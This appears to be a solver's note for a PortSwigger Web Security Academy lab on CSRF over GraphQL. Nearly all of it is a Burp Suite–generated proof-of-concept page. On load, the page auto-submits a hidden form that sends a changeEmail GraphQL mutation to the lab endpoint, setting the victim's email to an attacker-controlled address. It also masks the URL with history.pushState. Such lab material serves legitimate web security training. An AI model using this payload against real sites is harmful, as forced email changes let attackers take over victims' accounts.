Lab: Performing CSRF exploits over GraphQL
https://portswigger.net/web-security/learning-paths/graphql-api-vulnerabilities/graphql-csrf/graphql/lab-graphql-csrf-via-graphql-api#
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a9000bc049ff124853571ac00ce0069.web-security-academy.net/graphql/v1"
method="POST">
<input type="hidden" name="query" value="mutation changeEmail($input:ChangeEmailInput!){changeEmail(input:$input){email}}" />
<input type="hidden" name="operationName" value="changeEmail" />
<input type="hidden" name="variables" value="{"input":{"email":"tes@exploit.de"}}" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>Last updated